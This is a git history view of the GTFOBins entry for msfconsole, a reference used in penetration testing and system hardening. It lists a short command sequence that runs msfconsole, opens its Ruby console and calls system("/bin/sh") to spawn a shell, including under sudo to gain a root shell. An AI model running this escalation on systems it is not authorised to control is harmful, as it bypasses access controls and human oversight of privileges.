GTFOBins.github.io/_gtfobins/msfconsole.md

15 lines
283 B
Markdown
Raw Normal View History

2022-08-05 17:48:55 +02:00
---
2022-12-16 14:47:04 +01:00
description: This allows to spawn a [`ruby`](/gtfobins/ruby/) interpreter.
2022-08-05 17:48:55 +02:00
functions:
2022-12-16 14:47:04 +01:00
shell:
- code: |
sudo msfconsole
msf6 > irb
>> system("/bin/sh")
2022-08-05 17:48:55 +02:00
sudo:
- code: |
sudo msfconsole
msf6 > irb
2022-12-16 14:47:04 +01:00
>> system("/bin/sh")
2022-08-05 17:48:55 +02:00
---